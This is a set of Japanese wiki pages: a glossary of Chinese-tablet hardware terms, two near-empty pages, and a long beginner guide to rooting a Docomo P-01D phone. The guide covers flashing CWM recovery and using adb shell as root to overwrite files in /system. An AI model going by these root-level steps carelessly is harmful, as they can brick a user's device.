またそれぞれメインストリーム、エントリー向けのSnapdragon200、Snapdragon400 ハイエンド向けのSnapdragon600(krait300*4 1.9GHz + Adreno320OC)、Snapdragon800(krait400*4 2.3GHz + Adreno330)が予定されている それぞれAntutuではSnapdragon600が22000程度 Snapdrgaon800は 32000程度のスコア を記録しているとか? (ちなみにTegra4は36000程度、CloverTrailのAtomが31000程度だとか) SnapdragonS4 APQ8064(すなっぷどらごん えすふぉー えーぴーきゅーえいとぜろしっくすふぉー) (Krait*4(1.5~1.7GHz)+Adreno320) 2013年2月現在、スマートフォン/タブレット向けのチップで 搭載されている中では最高の性能誇る、すごいチップ。28nmでの製造 中華パッドで採用されているものはないが、これの搭載を望む声も強い OPPO Find5やjiayu S1など、一部の中国製スマートフォンでは搭載しているものもある Qualcomm独自開発のARMv7互換プロセッサkraitを搭載しており 処理の種類によっては、Cortex-A9を圧倒する性能を発揮することも 特にSIMD,NEONを用いるマルチメディア処理では、Cortex-A9の2倍の性能を発揮するとか またGPUのAdreno320は非常に性能が高く、GLBenchmarkでは Apple A6XのPowerVR SGX544MP4(5868Frames) Exynos5250のMali-T604(4124Frames)に次ぐスコアを記録している(3803Frames) またSnapdragonシリーズの特徴として非同期マルチコアであり 低負荷時には利用するコア数を切り替えたり、コアごとにクロックを変えたりすることができる このため、特に別のコアを置かなくてもTegra3の4+1コア切り替えのようなことが可能 ただしAPQ8064に搭載されているKraitは、Cortex-A15と比較すると性能が低く GPUのAdreno320に関しても、次世代のARM MaliのGPUに対しては性能的に不利だと言われる しかしそれはAPQ8064が、次世代SoCの領域まで到達しているということであり 比較されること自体が、現在のSoCとして最高の性能を持つということの証明に他ならない Antutu公式スコア(v3.1.1)では19000程度のスコアだが 実機では21000程度のスコアを叩き出すこともしばしば ただし価格も次世代級らしく、なかなか中華パッドに搭載されるとは思えない。 SoC(えすおーしー、System-on-a-Chip) ものすごく簡単に言えばタブレットのCPU タブレットに必要な回路をまとめて1つにしてある 中にはCPUやGPUも含まれており、これが注目されることが多い このように必要なチップを1つにまとめることで 基盤の上での物理的な面積を減らすことが可能になり また高速化・省電力・低コストを同時に実現できるようになる SoCメーカーは基本的に コアIP (設計図的なもの)のライセンスを ARMやVeriSiliconなどの各社から受け、組み合わせたそれらを TSMC、UMC、GLOBALFOUNDRIESなどのファウンダリーに製造を委託することでSoCを製造している またSoCのメーカーはSoCと同時に、そのSoCのプラットフォームを提供していることが多く RK3066であれば、RK3066に最適化されたAndroid4.0といったように SoCベンダーがそのSoC上で動作する、OSなどの基幹のソフトも合わせて提供していることが多い SoCの良し悪しというのは、これらソフト側の問題も含めて語られがちで スクロールの滑らかさなど、俗に言うぬるぬる感は、これらプラットフォーム全体の完成度に影響されるとか 主な中華パッドのSoCメーカーでは Rockchip、Allwinner、Amlogic、Actions、Infotmic、NuFront、Ingenic、Telechipsなどがある またSamsung、Nvidia、MediaTek、Freescale、Renesas、Texas Instruments、VIAなど大手企業のものが採用されることも 他にもST-Ericsson、Qualcomm、MarvellなどのSoCがある SoC(CPU)まとめにまとめて書いてあるので、よければ参考にしてほしい T Teclast(てくらすと) 台湾の中華パッド(?)メーカー。薄型のPシリーズやAシリーズがある 中華パッド以外でもTeclast T51などのDAPが一部で有名である Tegra(てぐら、Nvidia Tegra) グラフィックボードで有名なNvidiaが出しているSoC 世界各国の大手メーカーのタブレット,スマートフォンに採用されている 基本的にメーカー品に搭載されることがほとんど。しばしば中華パッドに降りてくることもある 2013年1月現在、搭載されている中ではTegra3(Cortex-A9 4+1コア)が最新のSoC またTegra4(Cortex-A15 4+1コア)が発表された GPUはGeForceベースで、ベンチの数字以上に3Dゲームでは強いとされる(?) Tegra2がMotorola Xoom、Tegra3がNexus7などで採用された 中華パッドでは Tegra2がCamangi Mangrove7、Tegra3がViewsonic N710などで採用されている Tegra5?(Logan) 2014年、 KeplerベースのGPU(GTX6xx世代)、CUDA対応、20nmクラスでの製造) Tegra6?(Parker) 2015年、 CPUがNvidia独自のDenverに(ARMと共同開発)、 MaxwellベースのGPU(グラボ向けには2014年予定)、FinFET採用、14nmクラスでの製造 これらが予定されている TS(とらんすぽーとすとりーむ、MPEG2-TS) 地上波放送の暗号化されていないデータのこと 中華パッドではこれをエンコードせずに、そのまま再生できるものがいくつかあり 動画にこだわる一部のユーザーが、中華パッドを選択する理由の一つになっている(?) AllwinnerA10の搭載機は、TSファイルをインターレース解除で再生が可能 またRockchip RK3066やAmlogic-8726MXなどの搭載機でも、TSファイルの再生ができるとか なお普通のレコーダーでは、このデータを抜くことができず 特殊な方法が必要とされるが、これについては自分で調べてほしい TN液晶(てぃーえぬえきしょう) 古い中華パッドや安価な中華パッドに用いられることが多い IPS液晶と書いていなかったら高確率でこの液晶。 IPS液晶 に比べ安価 だが視野角が狭いので、見る角度を変えると色が変わったり暗くなったりする 一般的なPCのディスプレイといえばこれ。縦持ちすると特に視野角の狭さを感じるとの声も メーカー品のタブでも安価なものではこれを採用していることがある 最近ではIPSでも低価格のものが増えつつあるが さらに安いものを買おうと思うと確実にこれになる ただ最近ではTNでも視野角や画質が改善されつつあるので、言うほど悪くないかもしれない 視野角の狭さを逆手に取って覗き見防止に...なるとかならないとか TWRP(ちーむうぃんりかばりぷろじぇくと) Ainolの端末の一部に移植されている。カスタムリカバリの一種 通常のCWMと異なり、タッチ操作が可能でまとめてROMを焼くこともできる またリカバリもCWMより早いとかなんとか U USB OTG(ゆーえすびーおんざごー、USB Host) USB搭載の周辺機器同士で接続するための規格 タブレットのUSBポートをPCのUSBポートのように扱えるので マウスやキーボード、フラッシュメモリなどをタブで利用できる BTのない中華ではありがたい存在 接続にはMicroUSB-USB変換ケーブルなどが必要だが、中華ではしばしば付属されている 給電もできるので、中華パッドをモバイルバッテリーとしても使える? (給電能力はモバブーほど高くないが) V Vivante (ヴぁいヴぁんと、ヴぃヴぁんて) VeriSiliconの子会社。低消費電力のGPUを開発している 主に携帯電話などの組み込み向けで利用されている 3DのGC800,GC1000,GC2000,GC4000シリーズ以外にも 2D合成用のGC200,GC300シリーズ、2Dベクター用のGC350シリーズがある 3Dゲームの互換性には問題があるものが多い?性能はぶっちゃけ微妙... 2Dアクセラレータ Vivante GC200、Vivante GC320 OpenVG向け(ベクター)2Dアクセラレータ Vivante GC350、Vivante GC355 3D+2Dアクセラレータ Vivante GC4x0、Vivante GC5x0、Vivante GC6x0 Vivante GC8x0、Vivante GC1000(2コア) 3Dアクセラレータ(2Dコアが含まれていない) Vivante GC2000(4コア)、Vivante GC4000(8コア) Vivante GC5000(10コア?)、Vivante GC6000(12コア?) Vivante GC8000(16コア) 採用SoC Hisilicon K3V2 (Vivante GC4000?) Freescale i.MX6Q (Vivante GC2000+2Dベクター Vivante GC355+2D合成 Vivante GC320) Freescale i.MX6D (Vivante GC2000+2Dベクター Vivante GC355+2D合成 Vivante GC320) Freescale i.MX6DL (Vivante GC880+2D合成 Vivante GC320) Freescale i.MX6S (Vivante GC880+2D合成 Vivante GC320) Actions ATM7029 (Vivante GC1000) Xburst JZ4770 (Vivante GC860) Xburst JZ4760 (Vivante GC200) Rockchip RK2918 (Vivante GC800) Infotmic IMAPX210 (Vivante GC600) Vimicro VC882(Haipad M8に搭載) (Vivante GC400) TI OMAP5430/5432 (2D Vivante GC320) TI OMAP4470 (2D Vivante GC320) Marvell PXA920 Godson-2H Vivante - Graphics Processor IP http //www.vivantecorp.com/p_mvr.html W WiDi(わいだい) インテルが開発した無線LANでディスプレイに出力する規格 中華パッドではAllwinnerA31搭載機がこれに対応している WiDiアダプター(別売)とテレビを接続し、端末側のWiDiのソフトを起動することで使用できる アダプタと端末は6mほどまで離すことが可能 WiDi3.5からはMiracastもサポートするようになった Wi-Fi(わいふぁい) 無線LANの規格、認証のこと。転じて無線LAN自体のことも指す 3G/LTEなどがない中華パッドでは、ここに問題があると致命的 ある意味CPUや液晶以上に大事な部分である。USBで有線LANをつなぐこともできなくないが... こればかりは実機のレビューがないとわからないので、気をつけてほしい 中華パッドでは異常にwifiの感度が悪いものが、しばしばあるので注意してほしい 他にもIEEE802.11b/g/nでなく、IEEE802.11b/gまでしか対応してないものや nに対応していても150Mbps,300Mbpsに対応しておらず、65Mbpsしか出ないものがよくある 感度が悪いものに関しては、 殻割り でアンテナ周りを改造すれば治ることも Wi-Fiの感度で悩んでいるようであれば、試してみる価値はあるかもしれない またタブ側だけでなく、ルーター側に問題があることも多いので そちら側も確認した上で、タブのWi-Fiの感度を判断してほしい なお一部のWi-Fiのチャンネルを停止することで Wi-Fiの速度が大きく改善することもあるので、是非試してみてほしい Window(ういんどう) 原道 の英語表記 中国語で原道を読むとこんな感じの発音になるとか(?) Windowsタブレットとは関係ない その他(よく使われる略称など) 2コア、x2、*2→Dual Core 4コア、x4、*4→Quad Core A5→ Cortex-A5 A7→ Cortex-A7 A8→ Cortex-A8 A9→ Cortex-A9 A10→AllwinnerA10 A31→AllwinnerA31 Fire→Ainol Novo7Fire GT1→Cube U30GT GT2→CUBE U30GT2 GT4→CUBE U9GT4 T7→HYUNDAI T7 T7s→HYUNDAI T7s コメント(追加希望、間違いなどがあればどうぞ) Cortex−A8などは用語集内へのリンクを修正するのが手間なので、できれば用語集に残しといてもらえると助かります - 2013-05-30 08 39 14
https://w.atwiki.jp/seisakuidress/pages/104.html
T21 -T22-T23-T24-T25 ・TT21 組織名 発令者名 オーダー内容 範囲 提出日時 備考 ・T22 組織名 発令者名 オーダー内容 範囲 提出日時 備考 ・T23 組織名 発令者名 オーダー内容 範囲 提出日時 備考
https://w.atwiki.jp/ghostwind/pages/99.html
BlueSoliel PrimoPDF
https://w.atwiki.jp/eluga/pages/42.html
作業に詰んで諦めそうになったら、 M岡S造さんからの メッセージをお読みください。 今日の訪問者数= - 昨日の訪問者数= - 2013/03/17以降= - 目次 目次 はじめに本文書について 簡単履歴 始める前に 機能バージョンアップ 注意!! ヒント!! 作業ルーチン(導入のおおまかな流れ) インストール編(超入門と言えど、自力でガンバレ)Toolkit のインストール ADB(Android Debug Bridge)ドライバ ABI (Android Bootloader Interface)ドライバ & システムバックアップ (推奨) ABI ドライバ のみインストール (わかるひとだけ) CWM用 ADBドライバ(使うひとだけ導入) Toolkit 手順編(超入門、もう一息ガンバレ)手順1: Toolkit起動 手順2: 起動パーティションのバックアップ(推奨) 手順3: メニュー#3「CWM-based recovery の導入」(必須) 手順4: メニュー#5「root の取得 (rootkit)」(任意) 手順5: 終わったら 応用編(ステップアップしよう)応用1: 起動モードの詳細 応用2: CWM 超入門 応用3: お助け Settings.apk の書換 応用4: お助け CWMループから復活 応用5: 起動パテの「追っかけ」バックアップ チャレンジ編(ちょいガンバレ)チャレンジ1: APK Multi-Tool の使い方 ヒント チャレンジ2: CWMバックアップ( *.yaffs2.img)の利用 チャレンジ3: Toolkitバックアップ( system.tgz)の利用 チャレンジ4: CWMリカバリ用ZIP作成キット コマンド操作編(adb shell)一時root で adb shell の勧め adb shell で弄りたいひと向けコマンド集(ファイル操作 を抜粋) おまけ編(ちょい補足)おまけ1: SUバイナリ の相性 おまけ2: Toolkit rev4a rev5 だったひとへ おまけ3: CWM(ClockworkMod)バックアップフォルダの中身 番外編 リンク集 番外編 Tips集 コメント置き場 はじめに 本文書について P-01D の root 関連情報から、Toolkit 関連を中心に、初心者&ステップアップしたい人向けに再編成し纏めたものです。 皆さんでご活用下さい。また、よりよい情報などあれば、加筆お願いします。 元のrootページのことを、「Wiki本流rootページ」と記しています。 本「root超入門」ページを早くマスタし本流へ Go 。 Toolkitなどで簡単にroot取れすぎ(良いことだけど)、「消しちゃった君」「たすけて君」がrootスレで急増、気づいた方は本Wikiへ誘導下され。 根性あるひと、自分で調べようとするひとへ微力ながらのお手伝いページなので、猿わか、スクショや図解入りは他のページに託します。 簡単履歴 大きな修正は、日付を付けて履歴を残して頂けると、分かりやすくてありがたい。 2012/??/?? 作業の見通しをよくするため、構成を大幅に見直しました。 なるべく、コマンド手打ちをせずToolkit機能を使うようにしました。 2012/12/16 最早CWMは超必須なので、システムのバックアップはCWMに一本化する方向で全体を見直しました。 2012/12/28 ↑ 初心者向けが原点なので、Toolkitお任せ と CWM の併用に戻して、体裁を見直しました。 2013/01/03 ABIドライバ導入直後に必要なバックアップを取る手順に、全体構成と関連の説明を見直しました。 2013/04/06 ↑ の流れに合わせて、作業ルーチン を修正。 あまり変わんないけど。 2013/11/30 久々!。 全体の文言や体裁の見直し。 基本的には変わってない! 2013/12/11 ABI ドライバ&システムバックアップ の説明を見直し。・・・もうすぐ 30,000 visitors!! 2013/12/14 起動パテのバックアップ の説明を見直し。・・・祝 30,000 visitors!! 2014/03/02 「system.tgz の利用」の説明を修正、他。 2014/03/13 目次・構成の見直し、他。 2014/05/10 いつの間にやら・・・祝 40,000 visitors!! 2014/06/10 SettingsProvider.apk 書き換え追記 2014/09/08 SettingsProvider.apk ちょこっと修正 2014/12/15 いつの間にやら・・・祝 50,000 visitors!! 2015/02/08 足かけ4年・・・ 純正Cameraアプリパッチのリンク追加 2015/05/11 ちょい保守 2015/06/28 adbコマンド追加 2015/09/02 SettingsProvider.apk デグレード対応 2015/09/05 SettingsProvider.apk ちょい文言修正 2016/01/31 Tookit のリンクが切れているようなので、Mediafire にUp、リンクを追加 2016/04/26 いつの間にやら・・・祝 60,000 visitors!! 2016/05/02 MVNOテザ対応 Settings.apk リンク追加 始める前に 簡単にroot取れる=簡単に文鎮化する リスクがあるので、3回は読むべし。 先達の努力で、fastboot用img、CWMリカバリ用img、楽ちんToolkit を使えることに感謝。 Wiki本流rootページに各手順の詳細な説明があるので、自分をUpgradeしたいひと、是非読むべし。 機能バージョンアップ 弄ったあとで、機能バージョンアップをする(してしまう)と痛い目にあうので、先に最新版にしておく。 CWM導入後にアプデして痛い目にあっているひとは、後述 応用4: お助け CWMループから復活 参照 やり方は、Pana とdocomo のページにあるので調べて下され。 次以降の 機能バージョンアップ を自動実行されないように、以下の設定にすると吉。 設定>端末情報>機能バージョンアップ>サーバーから更新>設定 の「自動検索」のチェックをはずす。 注意!! バックアップを取るところは、必ず取ろう。 消しまくってから「戻せる?」って質問は無しだよ。 はやる気持ちはわかるが、落ち着いて正確に文字を打ち込もう。 「タイプミスでした」ってオチも無しだよ。 Wikiは善意と出来る限りの正確さを以て書かれていますが、言うまでもないお約束 「自己責任でトライ」。 ヒント!! ヒントやトラブルシュートは、分からなくなったり、なんか変とか、つまづいたら読んで下され。 問題なければスキップ可。 ADB shell を実行したときの shellプロンプトは、$(通常ユーザー)、#(root)に区別されている。 Wiki中にも出てくるので参照されたし。 ADB や コマンドプロンプト の使い方は、基本 自力で調べてくれ。 後述 Shell root ~~ のコマンド使用例も参考にどぞ。 文中にちょくちょく adb reboot bootloader とか出てくるが、コマンドプロンプトで入力するという略です。(例 c \ runme.bat) 例: 設定>端末情報>機能バージョンアップ>サーバーから更新> ・・ は(コマンドプロンプトではなく)、メニューを辿るという意味です。 root有効なファイラ(rootエクスプローラ、ESファイルエクスプローラ など)をインストしておく。(←端末のみでシステム構築する場合、必須) ↑ 弄るファイルのオリジナルもSDにコピーしておくとさらに安心。 作業ルーチン(導入のおおまかな流れ) P-01D側の 設定>アプリケーション>開発>USBデバッグを有効 にする。 P-01DとPCを接続して、先ずADBドライバをインスト。 続いてToolkit #2(システムのバックアップを取る)を指定する。 するとfastbootモードで再起動するので、次にABIドライバをインストする。 ABIドライバのインストが終わるとバックアップが始まる。 次にCWMを導入しますが、CWMバックアップも確実に取って(バックアップの2重化)文鎮に備える。 後はroot取ろうが、システムアプリ弄ろうが自己責任でどぞ。バックアップさえあれば、滅多に文鎮にならない。 ※ やるべき作業の大まかな流れです。 次章以降で詳細を読みながら作業をしますが、ここまでで「もう読むのメンドイ」と思ったひとにはちょっと無理。 インストール編(超入門と言えど、自力でガンバレ) Toolkit のインストール P-01D Toolkit 公式配布ページ(<ありがとう) リンク切れのときはこちら Tookit作者様より、(サーバを解約するかもなので)改変無し にて2次配布の許諾を頂いております。 ZIP解凍後のrarファイルを、適当なフォルダ(例 c \P1 )を作ってそこに解凍します。 Toolkitを解凍したフォルダ(例 c \P1 )に移って、runme.bat を実行し、機能メニューの一覧が出るか確認する。 ※ ここは手動でよろしく。 c \ cd c \P1 c \P1\ runme.bat ヒント!! readme.txt もDLして読んでおこう。 同梱の release.txt も読んでおく。 以下、fastboot = bootloader と読み替えて下さい。 Toolkit を使うだけなら、Android SDK や JAVA はインストしなくても、おk。 ヒント!! Toolkit をインストしたフォルダ(例 c \P1 )の中の toolsフォルダに、作業に必要なファイルは全て入っています。 もし手動で作業する場合は、c \ cd P1\tools でカレントディレクトリを移動する(推奨)か、c \ path %path%;c \P1\tools でパスを設定しておく。 ADB(Android Debug Bridge)ドライバ ① Toolkit のメニュー#c でPanaのADBドライバをDLし、適当なフォルダに展開しておく。 中に android_winusb.inf が入っているはず。 ② *必ず* P-01D をUSBデバッグモード にしてからPCに接続する。 ハードウェアウィザードが起動し、FOMA P-01D と出ているはず。 ③ Windows Updateに接続しない>次へ>特定の場所から探す>次へ>展開しておいたフォルダを選択>次へ>インストールが始まる>完了 ④ デバイスマネージャで Android Phone > Android Composite ADB Interface と出ていれば成功。 ⑤ ドライバが認識しない場合、PCを再起動してみる。 ヒント!! もしリンク切れの場合は「Panasonic P-01D ドライバ」等でググる。 WinXP(32bit)の例だが Vista 7 も基本的に同じと思われる。 違うやり方もあるかも知れないが、まずはトライ。 トラブルシュート ハードウェアウィザードが起動しなかったり、「その他のデバイス」に「? FOMA P01D」や「? Android」が沢山出ている。 ?デバイスをひとつずつ、プロパティ 詳細 でデバイスインスタンスIDを確認、下記IDのものが当たり。 USB\VID_04DA PID_21F6 MI_00\~~ または USB\VID_04DA PID_21F7 MI_02\~~ のどちらか一つ 「ドライバの更新」~中略~、Panaのドライバフォルダを指定しインストール。 他の ?デバイス は放置で。 ABI (Android Bootloader Interface)ドライバ & システムバックアップ (推奨) ドライバ導入と、システムのバックアップを一緒に行います。 但し、SD残容量は最少でも500MBは必要。 ドライバをインストするため、Bootloaderモードで起動させますが、ついでにバックアップも取っちゃいます。 バックアップはあるので、ドライバだけ再インストしたいひとは、後述の(ドライバのみインストール)へ。 ① メニュー#2「システムのバックアップ」を選択、「root 権限が必要です」と出るので、[選択肢]1番「デバッグ接続から bootloader モードを起動する (既定)」 ② bootloader モードで再起動すると、ハードウェアウィザードが起動する。先にADBドライバを入れているので、ADBドライバと同じフォルダから ABIドライバも自動でインストされるはず。(Win7 64bit 確認済み) ヒント!! ABI ドライバファイルは、ADBドライバと共通です。 通常のBootloader起動時(docomoロゴ表示中)なら、デバイスマネージャで Android Phone > Android Bootloader Interface と表示される。 但しこの手順では、ドライバが認識された途端に Bootイメージが転送され再起動してしまうので、この表示は一瞬しか見られないが、それで成功。 トラブルシュート ハードウェアウィザードが起動しなかったり、「その他のデバイス」に「? FOMA P01D」や「? Android」が沢山出ている。 ADBドライバと同様に USB\VID_18D1 PID_D00D\~~ を見つけて、同様にインストール。 他の ?デバイス は放置で。 「ADBドライバ」と表示される(嘘ついている)こともあるようですので、同様にデバイスインスタンスIDを確認してみる。 それでもドライバが認識しない場合、PCを再起動してみる。 ③ ドライバが認識されるとBootイメージが転送され、続けてバックアップメニューの「システムのバックアップ (1/2)」が出る。 SD残容量が 1.5GB以上 : [選択肢]1番「mtd の全コピーと system.tgz/data.tgz の作成・取得」を選ぶ。 ↑ ~ 500MB : [選択肢]2番「mtd0/mtd6.bin のコピーと system.tgz の作成・取得 (既定)」を選ぶ。 ↑ より少ない : 残容量が足りないので、別のSDを用意して下さい。取りあえず [選択肢]2番を選ぶ。(次で終了) 「システムのバックアップ (2/2)」が出たら、[選択肢]1番「選択した作業を実行します (既定)」を選ぶ。 ここで(一旦)終了する場合は、[選択肢]3番「メインメニューに戻ります」を選ぶ。 ヒント!! バックアップ作業が終わるまで結構時間がかかるので、その間にWikiを読んでおこう。 PCにバックアップが保存されるので、SD残容量がギリギリなひとは あとで /sdcard/p01d/ 内のファイルを消してもよい。 /data/local/tmp にToolkitの一部が残ってしまうので、完全オリジナルではないが、気にしない。 ABI ドライバ のみインストール (わかるひとだけ) 前述のシステムバックアップまたはCWMバックアップはあるが、ドライバだけ再インストしたいひとはこちらへ。 ① メニュー#1「shell root で作業」を選択。「root 権限が必要です」と出るので、[選択肢]1番「デバッグ接続から bootloader モードを起動する (既定)」 ② bootloader モードで再起動すると、ハードウェアウィザードが起動する。先にADBドライバを入れているので、ADBドライバと同じフォルダから ABIドライバも自動でインストされるはず。(Win7 64bit 確認済み) ヒント!! や トラブルシュート は前述の(システムバックアップ有り)の場合と全く同じ。 ③ ドライバが認識されるとBootイメージが転送され、shell root のコマンドプロンプト # が出る。 exit を入力してメニューに戻る。 CWM用 ADBドライバ(使うひとだけ導入) CWM導入してもADBを使わないひとはスキップする。 CWM導入後にインストするのですが、流れで先に紹介します。 ① CWMリカバリモードを起動し、通常ADBモードと同様にインストールする・・・そう単純にはいかないようだ。 ② 下記 android_winusb.inf に追記してから、同様に ?ドライバの MI_00 と MI_01 の2つに「ドライバの更新」を実行。 なぜか2つとも要る。 他の ?デバイス は放置で。 [PMC.NTx86] %CompositeAdbInterface% = USB_Install, USB\VID_05C6 PID_9025 MI_00 %CompositeAdbInterface% = USB_Install, USB\VID_05C6 PID_9025 MI_01 ; [PMC.NTamd64] %CompositeAdbInterface% = USB_Install, USB\VID_05C6 PID_9025 MI_00 %CompositeAdbInterface% = USB_Install, USB\VID_05C6 PID_9025 MI_01 ※ 32/64bit 共通に使えるように両方に追記としました。 Toolkit 手順編(超入門、もう一息ガンバレ) 手順1: Toolkit起動 Toolkitをインスト(解凍)したフォルダ(例 c \P1 )にカレントディレクトリを移動し、runme.bat を実行する。 メニューの一覧より作業を選択する。 ・・・既にドライバの導入で使っていると思うが。 ※ ここは手動でよろしく。 c \ cd c \P1 c \P1\ runme.bat 手順2: 起動パーティションのバックアップ(推奨) CWM導入で Recoveryパテ(mtd6)が書き換わるので、bootパテ(mtd0)と一緒にバックアップしておきます。 前述「ABI ドライバインスト&システムバックアップ」で済ませたひとは手順3へスキップ 済ませてないひとは、後述「応用5: 起動パテの「追っかけ」バックアップ」へGo!! 起動パテのバックアップを忘れて CWMを導入してしまったひともGo!! 手順3: メニュー#3「CWM-based recovery の導入」(必須) 文鎮化回避のために必ず導入すること。 あとで必ずバックアップを取っておくこと [選択肢]2番 fastboot から書き込む (既定) 「bootloader モードで起動します」が表示されたら、[選択肢]1番「デバッグ接続から bootloader モードを起動する (既定)」 トラブルシュート 「raw_dump.7z が見つかりません!」と出るが、起動パテのバックアップを済ませたひとはスルーで。 済ませた覚えがないひとは、後述「応用5: 起動パテの「追っかけ」バックアップ」へGo!! ヒント!! 導入作業が終わってメニューに戻ったら、rootを取る前の「素のCWMバックアップ」が必要かによって次の作業を選ぶ。 ① 「素のCWMバックアップ」が要らないひとは、この後 手順4「rootkit」へGo。 ② 要るひとは、一旦 Toolkitを終了し、CWMを起動してバックアップを取る。 そのあとrootを取るときは、手順4: root の取得 から再開。 手順4: メニュー#5「root の取得 (rootkit)」(任意) 「root 権限が必要です」が表示されるか確認する。 「~~root 権限を一度以上取得しています。」の表示は気にしない。 [選択肢]1番「デバッグ接続から bootloader モードを起動する (既定)」 (Shell root が取れると)「rootkit for P-01D」が表示されたら、[選択肢]2番「継続 (busybox --install を実行・・・)」 SuperUserアプリ、SuperUserバイナリ、Busybox をインストールします。 ヒント!! Toolkit rev6 で [選択肢]3番「旧バージョンのインストール (DooMLoRD_v4_ROOT 互換)」が追加された 互換性重視なひと、心配なひとは 3番 を選ぶ。 手順5: 終わったら 後で泣かないように、後述の「CWM超入門」の操作方法を見ながら、CWMバックアップを必ず取るべし。 設定>端末情報>機能バージョンアップ>サーバーから更新>設定 の「自動検索」のチェックをはずしてあるか確認!! root取得の項目としてはここまで。 ほぼToolkitの機能メニューだけで済んだよね。 以下の応用編はToolkit、手動を適宜使い分けて作業しよう。 ヒント!! これ以外の詳細は Wiki の FAQ や 本流root に書いてある(はず)。 質問する前にまずは読んで下され。 ここまで無事に終わったら一息入れて、次の作業 Wiki本流rootページ「Stock ROM のカスタマイズ」へ Go 。 応用編(ステップアップしよう) 応用1: 起動モードの詳細 ヒント!! Toolkit をインストしたフォルダ(例 c \P1 )の中の toolsフォルダに、作業に必要なファイルは全て入っています。 もし手動で作業する場合は、c \ cd P1\tools でカレントディレクトリを移動する(推奨)か、c \ path %path%;c \P1\tools でパスを設定しておく。 fastboot、adb reboot で再起動を何回かしていると、ドライバが反応しなくなることがある。 ↓ で復活するよ。 c \P1\tools\ adb kill-server c \P1\tools\ adb kill-server ; 2回目は おまじない 【1】bootloader mode の入り方 (fastboot) ① ADB が使えるなら、 adb reboot bootloader で起動させる。 これが一番簡単。 ② USBを外す。 電源をOffにする。 音量↑ を押し続けながらUSBを接続する。 docomoロゴ が出たら音量↑ を離す。 ヒント!! 次のやり方もあります。(USBを挿す=電源ON と同じ動きと思われる。) ↑の方がステップ数が少ないので楽かな。 USBを外す。 電源をOffにする。 音量↑ を押し続けながら電源キーをバイブがブルッとするまで押す。 docomoロゴ が出たら音量↑ を離し、USBを接続する。 ヒント!! bootloader mode(fastboot)時のP-01Dの画面は「docomo」のままで正常(コマンドプロンプトのみで作業するので。) コマンドプロンプトで fastboot devices を入力し、 ? fastboot と出れば起動OK。 トラブルシュート 終了するときは、 fastboot reboot を送ってからUSBを抜くこと。 起動に失敗して無反応になったら、一旦電池を抜いてからやり直し。 【2】recovery mode の入り方 ① ADB が使えるなら、 adb reboot recovery で起動させる。 これが一番簡単。 ② 本体で操作: USBを外す。 電源Offにする。 電源キーをバイブがブルッとするまで押す。すぐに 音量↓ を docomoロゴ が出るまで押し続ける。 CWMのadbを使うなら、この後でUSBをPCに繋ぐ。 adbが認識できない場合は、メニューの advanced reboot recovery でリトライ。 トラブルシュート 他ブログ等で紹介されている記事で、「USB接続して電源を入れ、バイブがブルッとしたら~~」のやり方だと無反応になることがあるので、本編のやり方を推奨。 起動に失敗して無反応になったら、一旦電池を抜いてからやり直し。 応用2: CWM 超入門 【1】操作方法 音量↑・音量↓ でカーソル移動、Home で決定(Enter)、戻る で前の画面へ。 ヒント!! mounts and storage mount USB storage でUSBストレージとしてアクセス可能です。 USBストレージとして使用する場合は、CWM用ADBドライバは不要です。 【2】バックアップ backup and restore backup で開始。 終わったら、reboot system now で再起動。 USBストレージモードにして、 \clockworkmod\backup\ 内の「日付フォルダ丸ごと」をPCにコピーし、大切に保管。 ヒント!! 本編では CWMイメージ とはこの「日付フォルダ丸ごと」を指す。 インストーラ形式の ~.zip のほうは CWM ZIPイメージ と表記する。 【3】リストア ① wipe data/factory reset Yes で、/data と /cache をクリアする。 ② 念のため、advanced Wipe Dalvik Cache Yes で、 /dalvik-cache をクリアする。 ③ 念のため、mounts and storage format /system yes で、/system をクリアする。 ④ backup and restore restore で戻したい 日付 のフォルダを選択。終わったら、reboot system now で再起動。 【4】ADB CWM起動時は root権限で adb が使えますが、/system /sdcard などがマウントされていないので、mounts and storage > より適宜マウントします。 ヒント!! これ以外の詳細な使い方は各自ググってくれ。 応用3: お助け Settings.apk の書換 弄って「adb shell 使えん!!」になった(USBデバッグONに設定できない)運の悪い人は、 CWMリカバリのADB(Shell rooted)が使えます。 2012/12/08 Settings.apk をいきなり上書きしないように、rename処理 に変更した。 ① 前述の リカバリ(CWM)用 ADBドライバ を参照し、CWMリカバリを起動しドライバをインストールする。 ② mounts and storage で、/system /sdcard をマウントしておく。 ③ 応用2: CWM 超入門 【4】ADB を参照し、adb shell を起動し操作する。( ; はコメント行) c \ adb push Settings.apk.new /sdcard/ ; SD Cardに一時的にコピー。 CWM時は /sdcard/ みたい。 c \ adb shell $ su ; $プロンプト の時のみ入力、既に # になっているときはスキップ # mount -o remount,rw /system /system ; 念のため # dd if=/sdcard/Settings.apk.new of=/system/app/Settings.apk.new # chmod 644 /system/app/Settings.apk.new ; 他のapkと同じ rw-r--r-- にパーミッションを変更 # mv /system/app/Settings.apk /system/app/Settings.apk.org ; 元ファイルを rename # mv /system/app/Settings.apk.new /system/app/Settings.apk ; 新ファイルを rename # ls -l /system/app/Settings.apk ; 念のため、もう一度確認 # reboot ; 祈る ヒント!! framework-res.apk の場合も同様で、ファイル名やパスを読み替えるだけです。 Settings.~ を framework-res.~ に読替。 /system/app/Settings.~ を /system/framework/framework-res.~ に読替 SettingsProvider.apk の書き換えも同様です。 応用4: お助け CWMループから復活 CWM導入後にアプデしてしまい、CWMが起動しまくる 痛い目 にあっているひと向けの記事です。 最近の復帰成功レポ(2012/9/27)などを参考に、なるべく簡単に纏めてみました。 2012/10/13 なるべく Toolkit で作業できるように修正 2012/10/14 詰め込みすぎて、かえって解りにくいので、Toolkit作業を主体に、手動作業を 副 に修正 Step2 その① の処理は、Step4 の前ならいつでもよさげだが、慣れないひとは順番通りにやってほしい。 Step1: ループのCWMでリストア 1.再Update後に文鎮にならないように、初期(に近い)CWMイメージを書き戻す。(既にしてある人はスキップ) Step2: ファイル操作と電池残量確認 その① 必要なファイル・フォルダの事前処理をする。 1.CWMメニュー mounts and storage mount USB storage でUSBストレージモードをONにする。 2.PanaからDLしたUpdateファイルを「download」フォルダにコピー、既存でも念のため上書きする。 3.「.swupdate」フォルダを(あれば)削除する。 4.mtd6.bin(オリジナル)を(SDの)ルートにコピーしておく。(Toolkitで作業する場合はスキップ) その② fastbootモードにして、boot.img で再起動させる。 (CWMループをさせずに、本体OSを再起動させるため。) 1.Toolkit のメニュー#1「shell root で作業」を選び、[選択肢]2番 で。 「お手軽コマンド早見一覧~」とか出ても気にしない。 P-01D が起動すればよい。 2.再起動後、電池残量を確認する。 